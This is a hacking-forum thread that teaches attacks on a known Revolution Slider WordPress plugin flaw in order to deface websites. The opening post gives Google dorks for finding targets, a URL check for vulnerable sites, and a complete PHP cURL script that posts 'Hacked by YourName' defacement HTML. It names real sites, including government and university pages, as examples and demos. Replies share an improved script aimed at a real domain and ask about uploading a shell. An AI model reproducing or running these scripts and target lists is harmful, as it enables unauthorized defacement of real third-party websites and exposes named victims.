Mar 28, 2015 04:06 PM
(This post was last modified: Mar 28, 2015 04:12 PM by mObiIe.)
[img]http://www.techexquisite.com/wp-content/uploads/2015/03/WordPress-plugins.png[/img]
![[Image: partners-wordpress.png]](https://www.etendo.se/wp-content/uploads/2014/12/partners-wordpress.png)
Another critical vulnerability was found this week in the popular Revslider Plugin. The bug is triggered by sending POST request to PHP Code
<?php admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
with following parameters;
PHP Code
<?php array(“action” => “revslider_ajax_action”,”client_action” => “update_captions_css”, “data” => “HTML-Update-Data”);
Source:
http://blog.securelayer7.net/wordpress-p...erability/
With that being said, let's exploit it, shall we?
[img]http://www.leodairy.com/Slider%20Revolution/examples&source/images/logo.png[/img]
[img]http://www.simunomics.com/Images/Tutorial.GIF[/img]
1.) Google Dorks:
PHP Code
<?php inurl:wp-content/plugins/revslider/ inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image" inurl:/admin-ajax.php?action=revslider_ajax_action inurl:revslider inurl:revslider_admin.php inurl:revslider_front.php inurl:plugins/revslider/ intext:Powered by Revslider intitle:"Index Of/ revslider" intitle:"Index Of/wp-content/themes/revslider" intitle:"Index Of/wp-content/plugins/revslider" intitle:"Index Of/admin/revslider" intitle:"Index Of/fr/revslider" intitle:"Index Of/en/revslider" intitle:"Index Of/us/revslider" intitle:"Index Of/ar/revslider" intitle:"Index Of/es/revslider" intitle:"Index Of/de/revslider"
These are just a few, use your brain to find more.
2.) Searching for Vulnerable sites:
To find vulnerable sites, add this code to the end of your target.
PHP Code
<?php /wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
If the site is vulnerable you will see something like this;
![[Image: dgRrLix.jpg]](https://i.imgur.com/dgRrLix.jpg)
Otherwise you'll see this;
![[Image: bRYdn4u.jpg]](https://i.imgur.com/bRYdn4u.jpg)
EXAMPLES:
PHP Code
<?php http://www.thyregod.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
PHP Code
<?php http://www.korteklaren.be/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
3.) How to exploit:
From a webshell or web hosting site that supports php, create a .php file and enter the following script.
PHP Code
<?php
$post = array
(
"action" => "revslider_ajax_action",
"client_action" => "update_captions_css",
"data" => "x<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by YourName<br><p style='color: transparent'>"
);
$ch = curl_init ("http://localhost/wp-admin/admin-ajax.php");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
?>
then edit the underlined code and save;
Quote:"data" => "x<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by YourName<br><p style='color: transparent'>"
Quote:$ch = curl_init ("http://localhost/wp-admin/admin-ajax.php");
EXAMPLE:
![[Image: O4kN8CU.jpg]](https://i.imgur.com/O4kN8CU.jpg)
then execute script for results.
4.) Path to Results:
PHP Code
<?php http://www.target.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
EXAMPLES:
![[Image: 8IhJPJh.jpg]](https://i.imgur.com/8IhJPJh.jpg)
PHP Code
<?php http://srsh.gov.al/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
PHP Code
<?php http://skydeck.berkeley.edu//wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
Demos:
PHP Code
<?php http://eilanhotel.com/ http://thecrawfordhotel.com/ http://maxtrack.com.br/ http://easysolutions.co.jp/ http://chesterford.co.jp http://mediahub.jp http://ciruela.jp
There are over 300,000+ WordPress sites that use this plugin, so you should have no problem finding vulnerable websites. 🤝
Source:
http://www.google.com
Can this be used to change the full website? Not just the url ending '/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css ' but the proper homepage?
Mar 29, 2015 12:21 AM
(This post was last modified: Mar 29, 2015 12:21 AM by Monyaks.)
Nah, it just gives you the option to inject text via cross scripting to the specific page.
Note to the OP - Great Job !
If google would be so bitchy with that capcha thing i would write a scanner
DO NOT DEAL WITH THIS MEMBER
Took the liberty to code a better PHP script:
PHP Code
<?php <title> Wordpress hacker </title> <?php $post = array ( "action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "x<body style='font-family: arial; background-color: black'><center><h1><b style='color: red'>Name Here<br><p style='color: xransparent'>" ); echo "<center><b style='color:red; font-family: arial;'>Status: Started...<br><hr style='width: 30%;'></b></center>"; $url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php"; $ch = curl_init ("$url"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_POST, 1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $post); $data = curl_exec ($ch); curl_close ($ch); echo "<center><b style='color:red; font-family: arial;'>Status: Finished<br></b></center><br>"; echo "<center style='font-family: arial;color: red;'>The url ", $url, " has been updated. Click <a style='color:black; font-family: arial; text-decoration: none;' target='_blank' href='$url?action=revslider_ajax_action&client_action=get_captions_css'>here</a> to see.</center>" ?>
What's updated:
All you have to do is put the vuln link into the $url line, for ex:
$url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php";
and the the rest of the code does all that work, change text as normal.
Example here: s.php
thank u but i got 0 with some sites
I'm gonna try on a site that looks great
DO NOT DEAL WITH THIS MEMBER
Lol worked for me. Thanks in advance!
thank u but i got 0 with some sites what to do ???
Is there a way to upload a shell using this?
(Jun 1, 2015 05:44 AM)4nirudh420 Wrote: thank u but i got 0 with some sites what to do ???
You can't do anything with it. Most likely, Rev Slider was already uninstalled or deactivated on those sites. Better keep looking for another target.
DO NOT DEAL WITH THIS MEMBER
I added the script and modified it so you can do it from my site: http://grep.li/wp
(May 31, 2015 03:23 AM)Stoner. Wrote: Took the liberty to code a better PHP script:
PHP Code
<?php <title> Wordpress hacker </title> <?php $post = array ( "action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "x<body style='font-family: arial; background-color: black'><center><h1><b style='color: red'>Name Here<br><p style='color: xransparent'>" ); echo "<center><b style='color:red; font-family: arial;'>Status: Started...<br><hr style='width: 30%;'></b></center>"; $url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php"; $ch = curl_init ("$url"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_POST, 1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $post); $data = curl_exec ($ch); curl_close ($ch); echo "<center><b style='color:red; font-family: arial;'>Status: Finished<br></b></center><br>"; echo "<center style='font-family: arial;color: red;'>The url ", $url, " has been updated. Click <a style='color:black; font-family: arial; text-decoration: none;' target='_blank' href='$url?action=revslider_ajax_action&client_action=get_captions_css'>here</a> to see.</center>" ?>
What's updated:
All you have to do is put the vuln link into the $url line, for ex:
$url = "http://thinklocalvictoria.com/wp-admin/admin-ajax.php";
and the the rest of the code does all that work, change text as normal.
Example here:s.php
DO NOT DEAL WITH THIS MEMBER
@Munchies bro you site not opening here :(
Hey bro, where I put my create php file then I don't understand please give me its solutions.
I'll try this once I come back from station.
Thanks brother! You're the best in this.
|